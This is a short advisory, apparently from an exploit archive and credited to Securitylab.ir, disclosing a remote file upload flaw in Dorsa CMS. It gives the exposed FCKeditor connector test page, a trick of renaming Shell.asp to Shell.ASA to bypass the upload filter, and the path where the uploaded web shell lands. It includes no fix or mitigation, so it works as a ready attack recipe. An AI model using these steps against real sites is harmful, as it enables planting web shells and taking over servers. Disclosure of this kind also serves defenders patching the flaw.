Dorsa CMS suffers from a remote shell upload vulnerability.
45d3eb82254e217a5413387b4c910bcc9f5122c29f3401197796191e63cc4d84
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Dorsa CMS
# Vendor: http://dorsacms.com
#################################################################
# Vulnerability Info:
# Type: Remote Arbitrary File Upload
# Risk: High
#################################################################
Vulnerability:
http://site.ir/DorsaPax/FCKeditor/editor/filemanager/connectors/test.html
Shell.asp > Rename to > Shell.ASA
Uploaded Here:
http://site.ir//files/filebox/Shell.asa
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: info[AT]Securitylab[Dot]ir,whh_iran[AT]yahoo[Dot]com
###################################################################